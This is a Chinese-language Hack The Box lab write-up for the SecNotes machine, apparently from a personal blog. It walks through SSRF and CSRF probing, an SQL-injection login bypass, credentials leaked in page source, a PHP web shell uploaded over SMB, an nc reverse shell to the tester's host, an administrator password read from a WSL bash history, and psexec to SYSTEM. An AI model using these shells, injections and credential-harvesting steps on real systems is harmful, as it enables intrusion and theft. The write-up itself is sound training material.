SecNotes-htb-writeup

0x00 靶场技能介绍

章节技能：SSRF任意请求漏洞、CSRF密码修改漏洞、管理员用户注册SQL注入绕过、首页源码敏感信息泄露、WEBshell与NC反弹shell、FTP登录与文件上传、WSL子系统、子系统敏感信息泄露

参考链接：https://0xdf.gitlab.io/2019/01/19/htb-secnotes.html

0x01 用户权限获取

1、获取下靶机IP地址：10.10.10.97

2、扫描下开放端口情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
┌──(kali㉿offsec)-[~/Desktop]
└─$ sudo nmap -p- --min-rate=10000 -oG allports 10.10.10.97 
[sudo] kali 的密码：
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-28 21:43 CST
Nmap scan report for 10.10.10.97
Host is up (0.50s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
445/tcp  open  microsoft-ds
8808/tcp open  ssports-bcast

Nmap done: 1 IP address (1 host up) scanned in 23.09 seconds
                                                                                                       
┌──(kali㉿offsec)-[~/Desktop]
└─$ grep -oP '([0-9]+)/open' allports | awk -F/ '{print $1}' | tr '\n' ','
80,445,8808,                                                                                                       
┌──(kali㉿offsec)-[~/Desktop]
└─$ sudo nmap -sV -sC -p80,445,8808 -Pn --min-rate=10000 10.10.10.97 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-28 21:44 CST
Nmap scan report for 10.10.10.97
Host is up (0.31s latency).

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-title: Secure Notes - Login
|_Requested resource was login.php
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: HTB)
8808/tcp open  http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-03-28T13:45:15
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.63 seconds

3、访问80和8808这两个端口服务，查看下内容

http://10.10.10.97/login.php

http://10.10.10.97:8808/

5、在80端口上注册一个账号，并登录查看信息

1
2
3
4
http://10.10.10.97/register.php

shiyan
shiyan

http://10.10.10.97/home.php

6、发现 contact.php 页面可以输入链接地址，且会访问这个链接地址，说明这个是一个漏洞点

http://10.10.10.97/contact.php

在这个页面发送一个带有链接地址 http://10.10.14.11:443

1
2
3
4
5
6
7
8
┌──(kali㉿offsec)-[~/Desktop]
└─$ nc -lvnp 443 
listening on [any] 443 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.97] 50709
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.228
Host: 10.10.14.11:443
Connection: Keep-Alive

我们的nc监听了一个请求，那我继续发送一个带有链接和具体资源指向的地址

http://10.10.14.11:443/whoami?id=1

1
2
3
4
5
6
7
8
┌──(kali㉿offsec)-[~/Desktop]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.97] 50759
GET /whoami?id=1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.228
Host: 10.10.14.11:443
Connection: Keep-Alive

7、研究发现用户修改密码处没有CSRF保护，而且下方POST输入的内容个，可以已GET形式访问，并正常修改密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /change_pass.php HTTP/1.1
Host: 10.10.10.97
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Origin: http://10.10.10.97
Connection: close
Referer: http://10.10.10.97/change_pass.php
Cookie: PHPSESSID=m2gen71sbodh3po4vicm3h2rag
Upgrade-Insecure-Requests: 1

password=123456&confirm_password=123456&submit=submit

http://10.10.10.97/change_pass.php?password=password&confirm_password=password&submit=submit

8、那我们把这个地址发送给管理员用户尝试下

9、显示 Message Sent ，那我们尝试登录下另一个管理员账号看看，但是登录失败了，说明CSRF失败了，看来靶机太老了。。。

10、这里重新注册一个账号，使用sql注入绕过尝试下

' or '1'='1
123456

11、成功登录成功~

12、并且在 home.php的网站源码下发现了一个账号密码信息

view-source:http://10.10.10.97/home.php

1
2
<pre>\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&</pre>

13、验证该账号密码是否可以登录Windows靶机服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿offsec)-[~/Desktop]
└─$ crackmapexec smb 10.10.10.97 -u tyler -p '92g!mA8BGjOirkL%OG*&'
SMB         10.10.10.97     445    SECNOTES         [*] Windows 10 Enterprise 17134 (name:SECNOTES) (domain:SECNOTES) (signing:False) (SMBv1:True)
SMB         10.10.10.97     445    SECNOTES         [+] SECNOTES\tyler:92g!mA8BGjOirkL%OG*& 


是Windows上的密码，可以正常登录


┌──(kali㉿offsec)-[~/Desktop]
└─$ smbclient -L 10.10.10.97 -U tyler%'92g!mA8BGjOirkL%OG*&'

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        new-site        Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.97 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available

14、接下来使用 smbmap查看共享目录情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿offsec)-[~/Desktop]
└─$ smbmap -H 10.10.10.97 -u tyler -p '92g!mA8BGjOirkL%OG*&'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)                                
                                                                                                    
[+] IP: 10.10.10.97:445 Name: 10.10.10.97               Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        new-site                                                READ, WRITE

15、尝试将WEBSHELL写入到可以写入的目录，并尝试获取反弹shell

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿offsec)-[~/Desktop]
└─$ echo '<?php system($_REQUEST['cmd']); ?>' > shell.php 

┌──(kali㉿offsec)-[~/Desktop]
└─$ smbclient \\\\10.10.10.97\\new-site -U tyler%'92g!mA8BGjOirkL%OG*&'
Try "help" to get a list of possible commands.
smb: \> put nc.exe 
putting file nc.exe as \nc.exe (13.9 kb/s) (average 13.9 kb/s)
smb: \> put shell.php 
putting file shell.php as \shell.php (0.0 kb/s) (average 11.1 kb/s)
smb: \>

16、获取初始反弹shell

http://10.10.10.97:8808/shell.php?cmd=nc%2010.10.14.11%20443%20-e%20powershell

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿offsec)-[~/Desktop]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.97] 50231
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\inetpub\new-site> whoami
whoami
secnotes\tyler
PS C:\inetpub\new-site>

17、这里发现我个人WEBshell反弹的各种PHP代码都是显示的500，最后按照演练报告里的提示，才算是执行了，可能是PHP版本过低吧

18、获取下初始的flag信息吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PS C:\inetpub\new-site> cd C:/Users/tyler/Desktop
cd C:/Users/tyler/Desktop
PS C:\Users\tyler\Desktop> dir
dir


    Directory: C:\Users\tyler\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        6/22/2018   3:09 AM           1293 bash.lnk                                                              
-a----        4/11/2018   4:34 PM           1142 Command Prompt.lnk                                                    
-a----        4/11/2018   4:34 PM            407 File Explorer.lnk                                                     
-a----        6/21/2018   5:50 PM           1417 Microsoft Edge.lnk                                                    
-a----        6/21/2018   9:17 AM           1110 Notepad++.lnk                                                         
-ar---        3/28/2024   8:12 AM             34 user.txt                                                              
-a----        8/19/2018  10:59 AM           2494 Windows PowerShell.lnk                                                


PS C:\Users\tyler\Desktop> type user.txt
type user.txt
b44851b46b79be37875db549ca66

0x02 系统权限获取

19、在目录枚举中发现了Ubuntu.zip文件，疑似存在wsl子系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
PS C:\Users\tyler\Desktop> cd C:/
cd C:/
PS C:\> dir
dir


    Directory: C:\


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        6/21/2018   3:07 PM                Distros                                                               
d-----        6/21/2018   6:47 PM                inetpub                                                               
d-----        6/22/2018   2:09 PM                Microsoft                                                             
d-----        4/11/2018   4:38 PM                PerfLogs                                                              
d-----        6/21/2018   8:15 AM                php7                                                                  
d-r---        1/26/2021   2:39 AM                Program Files                                                         
d-r---        1/26/2021   2:38 AM                Program Files (x86)                                                   
d-r---        6/21/2018   3:00 PM                Users                                                                 
d-----        1/26/2021   2:38 AM                Windows                                                               
-a----        6/21/2018   3:07 PM      201749452 Ubuntu.zip                                                            


PS C:\> 


PS C:\> cd Distros
cd Distros
PS C:\Distros> dir
dir


    Directory: C:\Distros


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        6/21/2018   5:59 PM                Ubuntu                                                                


PS C:\Distros> cd Ubuntu
cd Ubuntu
PS C:\Distros\Ubuntu> dir
dir


    Directory: C:\Distros\Ubuntu


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        6/21/2018   3:07 PM                AppxMetadata                                                          
d-----        6/21/2018   3:07 PM                Assets                                                                
d-----        6/21/2018   3:07 PM                images                                                                
d-----        6/21/2018   5:51 PM                temp                                                                  
-a----        7/11/2017   6:10 PM         190434 AppxBlockMap.xml                                                      
-a----        7/11/2017   6:10 PM           2475 AppxManifest.xml                                                      
-a----        7/11/2017   6:11 PM          10554 AppxSignature.p7x                                                     
-a----        7/11/2017   6:10 PM      201254783 install.tar.gz                                                        
-a----        7/11/2017   6:10 PM           4840 resources.pri                                                         
-a----        7/11/2017   6:10 PM         222208 ubuntu.exe                                                            
-a----        7/11/2017   6:10 PM            809 [Content_Types].xml                                                   


PS C:\Distros\Ubuntu>

20、检查是否安装WSL子系统

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Distros\Ubuntu> Get-ChildItem HKCU:\Software\Microsoft\Windows\CurrentVersion\Lxss | %{Get-ItemProperty $_.PSPath} | out-string -width 4096
Get-ChildItem HKCU:\Software\Microsoft\Windows\CurrentVersion\Lxss | %{Get-ItemProperty $_.PSPath} | out-string -width 4096


State             : 1
DistributionName  : Ubuntu-18.04
Version           : 1
BasePath          : C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState
PackageFamilyName : CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc
PSPath            : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Lxss\{02893575-609c-4e3b-a426-00f9d9b271da}
PSParentPath      : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Lxss
PSChildName       : {02893575-609c-4e3b-a426-00f9d9b271da}
PSProvider        : Microsoft.PowerShell.Core\Registry

21、通过不断翻阅子系统里的内部文件，来查找敏感信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
PS C:\Distros\Ubuntu> 

ls C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState

PS C:\Distros\Ubuntu> ls C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState
ls C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState


    Directory: 
    C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
da----        6/21/2018   6:03 PM                rootfs                                                                
d-----        6/22/2018   2:41 PM                temp                                                                  


PS C:\Distros\Ubuntu> 


ls C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs



PS C:\Distros\Ubuntu> ls C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs
ls C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs


    Directory: 
    C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
da----        6/21/2018   6:03 PM                bin                                                                   
da----        6/21/2018   6:00 PM                boot                                                                  
da----        6/21/2018   6:00 PM                dev                                                                   
da----        6/22/2018   3:00 AM                etc                                                                   
da----        6/21/2018   6:00 PM                home                                                                  
da----        6/21/2018   6:00 PM                lib                                                                   
da----        6/21/2018   6:00 PM                lib64                                                                 
da----        6/21/2018   6:00 PM                media                                                                 
da----        6/21/2018   6:03 PM                mnt                                                                   
da----        6/21/2018   6:00 PM                opt                                                                   
da----        6/21/2018   6:00 PM                proc                                                                  
da----        6/22/2018   2:44 PM                root                                                                  
da----        6/21/2018   6:00 PM                run                                                                   
da----        6/22/2018   2:57 AM                sbin                                                                  
da----        6/21/2018   6:00 PM                snap                                                                  
da----        6/21/2018   6:00 PM                srv                                                                   
da----        6/21/2018   6:00 PM                sys                                                                   
da----        6/22/2018   2:25 PM                tmp                                                                   
da----        6/21/2018   6:02 PM                usr                                                                   
da----        6/21/2018   6:03 PM                var                                                                   
-a----        6/22/2018   2:25 PM          87944 init                                                                  


PS C:\Distros\Ubuntu> 


gc C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root\*



PS C:\Distros\Ubuntu> gc C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root\*
gc C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root\*
gc : Access to the path 'C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc
\LocalState\rootfs\root\filesystem' is denied.
At line:1 char:1
+ gc C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Users\tyler\...root\filesystem:String) [Get-Content], Unauthorized 
   AccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
 
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
[ -z "$PS1" ] && return

# don't put duplicate lines in the history. See bash(1) for more options
# ... or force ignoredups and ignorespace
HISTCONTROL=ignoredups:ignorespace

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "$debian_chroot" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
        # We have color support; assume it's compliant with Ecma-48
        # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
        # a case would tend to support setf rather than setaf.)
        color_prompt=yes
    else
        color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
#if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
#    . /etc/bash_completion
#fi

cd ~
cd /mnt/c/
ls
cd Users/
cd /
cd ~
ls
pwd
mkdir filesystem
mount //127.0.0.1/c$ filesystem/
sudo apt install cifs-utils
mount //127.0.0.1/c$ filesystem/
mount //127.0.0.1/c$ filesystem/ -o user=administrator
cat /proc/filesystems
sudo modprobe cifs
smbclient
apt install smbclient
smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
> .bash_history 
less .bash_history
exit
# ~/.profile: executed by Bourne-compatible login shells.

if [ "$BASH" ]; then
  if [ -f ~/.bashrc ]; then
    . ~/.bashrc
  fi
fi

mesg n || true
PS C:\Distros\Ubuntu>

22、发现账号密码信息

1
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$

23、尝试进行登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿offsec)-[~/Desktop]
└─$ impacket-psexec administrator@10.10.10.97                         
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
 
[*] Requesting shares on 10.10.10.97.....
[*] Found writable share ADMIN$
[*] Uploading file SkEcBGeu.exe
[*] Opening SVCManager on 10.10.10.97.....
[*] Creating service WacH on 10.10.10.97.....
[*] Starting service WacH.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32> 
C:\WINDOWS\system32> whoami
nt authority\system

24、获取最终的flag信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
C:\WINDOWS\system32> type C:/Users/administrator/Desktop/root.txt
The syntax of the command is incorrect.

C:\WINDOWS\system32> cd C:/Users/administrator/Desktop/
 
C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\Users\Administrator\Desktop

01/26/2021  03:39 AM    <DIR>          .
01/26/2021  03:39 AM    <DIR>          ..
06/22/2018  04:45 PM             1,417 Microsoft Edge.lnk
03/28/2024  08:12 AM                34 root.txt
               2 File(s)          1,451 bytes
               2 Dir(s)  13,629,911,040 bytes free

C:\Users\Administrator\Desktop> cat root.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Administrator\Desktop> type root.txt
7b7f28ba00b4d215ac6ae213d4bbf581

C:\Users\Administrator\Desktop>

0x03 通关凭证展示

https://www.hackthebox.com/achievement/machine/1705469/151

打靶记
#shooting-range
SecNotes-htb-writeup
https://sh1yan.top/2024/03/29/SecNotes-htb-writeup/
作者
shiyan
发布于
2024年3月29日
许可协议